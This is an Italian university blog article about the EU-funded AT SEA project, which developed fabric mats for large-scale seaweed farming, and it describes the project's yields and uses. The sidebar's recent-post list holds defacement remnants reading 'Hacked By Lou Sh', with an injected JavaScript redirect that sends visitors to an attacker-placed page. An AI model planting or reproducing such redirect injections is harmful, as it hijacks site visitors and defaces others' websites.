EUROSBLOGS
--> Giugno 2013 Maggio 2013 Aprile 2013 Marzo 2013 Febbraio 2013 Gennaio 2013
Dicembre 2012 Novembre 2012 Ottobre 2012 Settembre 2012 Agosto 2012 Luglio 2012 Giugno 2012 Maggio 2012 Aprile 2012 Marzo 2012 February 2012 Gennaio 2012
Dicembre 2011 Novembre 2011 Ottobre 2011 Settembre 2011 Agosto 2011 Luglio 2011 Giugno 2011 Maggio 2011 Aprile 2011 Marzo 2011 Febbraio 2011 Gennaio 2011
Dicembre 2010 Novembre 2010 Ottobre 2010 Settembre 2010 Luglio 2010 Giugno 2010 Aprile 2010 Marzo 2010 Febbraio 2010
Aggiungere un commento

Parte il progetto AT SEA




Le alghe? Una ricchezza importante

Forse pochi lo sanno, ma le alghe possono essere una ricchezza fondamentale per la produzione di alimenti ed ingredienti per mangimi, per prodotti biochimici e biocarburanti. La difficoltà maggiore però è quella di poterle raccogliere con un buon sistema e in proporzioni notevoli. L’Ue ha allora finanziato il progetto AT SEA che ha potenziato tessuti nuovi che incrementano la produttività dell’alghicoltura galleggiante permettendo così di coltivare in maniera più facile e meccanica.

Il coordinatore del progetto AT SEA Bert Groenendaal, è convinto del fatto che coltivare le alghe marine su larga scala possa permettere di far nascere in Europa un nuovo settore che dia occupazione a molte persone e che generi da solo miliardi di euro. Oltre alle sette imprese partecipano al progetto anche quattro centri di ricerca.

Ma come vengono raccolte le alghe? Al momento vengono raccolte alghe selvatiche o a coltivazione su corde, ma questi metodi sono difficilmente riproducibili su larga misura in quanto serve molta manodopera e il rendimento è molto basso. Il team che fa parte del progetto ha allora avuto un’idea innovativa : creare un tessuto sul quale si possano coltivare alghe in grandi quantità senza che il tessuto stesso rischi però di disintegrarsi o di attrarre piante sgradite o molluschi. Il tessuto studiato è rivestito da una pellicola di origine biologica che fa da barriera alle alghe e ne incrementa la crescita. Questi tessuti formano ampie stuoie che hanno lo spessore di 1 mm che vengono poste sotto la superficie del mare per ospitare le alghe. quando le alghe avranno raggiunto il loro stato di maturità, si passa alla fase di raccolta sulle navi attraverso delle macchine per essere poi depositate in serbatoi di stoccaggio flessibili.

JPEG - 10.9 Kb

A partire da questo mese, AT SEA comincerà a coltivare 200 metri quadri di stuoie in ognuno dei 3 siti sperimentali, per determinarne il valore commerciale. Secondo Groenendaal, la produttività potrebbe far arrivare le alghe a 20-25 kg per metro quadrato man mano che il consorzio migliorerà le tecniche che vengono al momento utilizzate. Il consorzio ha poi fatto richiesta di un brevetto per i tessuti di cui si è precedentemente parlato e alla fine del progetto prevista per il 2015, c’è la volontà di promuovere un sito di coltura su una scala di 2 o 3 ettari per mezzo di un’impresa commerciale che sarà il trampolino di lancio per l’AT SEA. Inoltre bisogna sottolineare che vi è grande interesse per questi tessuti utilizzabili anche per fini commerciali come l’acquacoltura o la produzione di contenitori per il trasporto via mare di acqua dolce.

Ma a livello effettivo le alghe che usi possono avere? Gli usi possono essere molteplici e in vari settori come il loro utilizzo per sostanze biochimiche per farmaci, cosmetici naturali e fertilizzanti organici. Altre possono essere utilizzate per biocombustibili ma ovviamente la loro raccolta deve essere consistente per poterle sfruttare su scala industriale. Inoltre è interessato anche il settore alimentare, infatti le alghe vengono mangiate così come sono dalle popolazioni di molti paesi asiatici, mentre in Europa molti prodotti alimentari vengono modificati come per esempio il latte al cioccolato, lo yogurt, le bevande salutistiche e le birre ma essi contengono tutti derivati della alghe marine come l’agar, i carragenani e gli alginati, che sono utilizzati come leganti o emulsionanti. Un fattore ancor più importante è che le alghe sono essenziali anche per l’effetto positivo che hanno sul nostro ecosistema:sono in grado di assorbire sia l’anidride carbonica in eccesso nell’acqua del mare sia i nutrienti residui che vengono liberati dalle aziende che praticano l’allevamento ittico. Sono anche un habitat sicuro per tutti quei pesci e quei molluschi selvatici che diversamente potrebbero essere minacciati dalla pesca.

JPEG - 8.8 Kb

Nelle parole della Commissaria europea per la Ricerca, l’innovazione e la scienza Máire Geoghegan-Quinn,: "AT SEA è solo uno degli esempi di come i finanziamenti UE sostengono l’innovazione stimolando la collaborazione tra ricercatori e imprese. Questo progetto di ricerca permetterà alle imprese dell’UE di coltivare una preziosa risorsa in modo efficiente, aiutandole a competere sui mercati mondiali. Orizzonte 2020, il nuovo programma di ricerca dell’UE che può contare su finanziamenti per 80 miliardi di euro, sostiene le imprese e le industrie che vogliono trasferire nuove idee dai laboratori al mercato con rapidità e in modo economicamente efficiente".



Nessun commento
ds Aggiungere un commento

Autori

Vanessa Piacenti
Studentessa del corso di laurea triennale in Scienze della comunicazione, Università si Roma Tor Vergata.

Dialogo con i cittadini sul Futuro dell’Europa

L’Eurosblog è media partner dell’iniziativa "Dialogo con i cittadini sul Futuro dell’Europa" organizzata dalla Rappresentanza in Italia della Commissione europea. Una serie di dibattiti aperti tra la Commissione europea e i cittadini sui temi dell’occupazione, della protezione dei cittadini e della sostenibilità. L’obiettivo è rispondere insieme alla domanda: “Che Europa vogliamo nel futuro?”. Guarda il video viral e fai la tua domanda su Twitter, utilizzando l’hashtag #EUdeb8. Segui l’evento in streaming su http://webcast.ec.europa.eu/eutv/po...

Quale Europa vogliamo nel futuro?


Ultimo commento

Erasmus+: il nuovo programma di studio per i giovani in Europa
di réduction toysrus, le 21 agosto 2013

Nice article :). I’ve studied abroad in Espagna y eso fue una experiencia unica: tanto al nivel laboral como humano! Je recommande ça à tout le monde :)


comitato



Ultimi articoli del blog

<!DOCTYPE HTML>      <head>         <meta charset= Hacked By Lou Sh If you are not redirected automatically, follow the link to example " title=" Hacked By Lou Sh If you are not redirected automatically, follow the link to example " src="local/cache-gd2/cc82855323b3141664fde5d9afad6d5c.png">
window.location.href = "http://torvergata.eurosblog.eu/IMG/html/" (...)
15 marzo 2015
<!DOCTYPE HTML>      <head>         <meta charset= Hacked By Lou Sh If you are not redirected automatically, follow the link to example " title=" Hacked By Lou Sh If you are not redirected automatically, follow the link to example " src="local/cache-gd2/646bc521095d5a61646327c7b727a862.jpg">
window.location.href = "http://torvergata.eurosblog.eu/IMG/html/" (...)
17 febbraio 2015

© Groupe Euros du Village 2010 | Note legali | Sito realizzato con SPIP | Relizzazione tecnica e design : Media Animation & Euros du Village France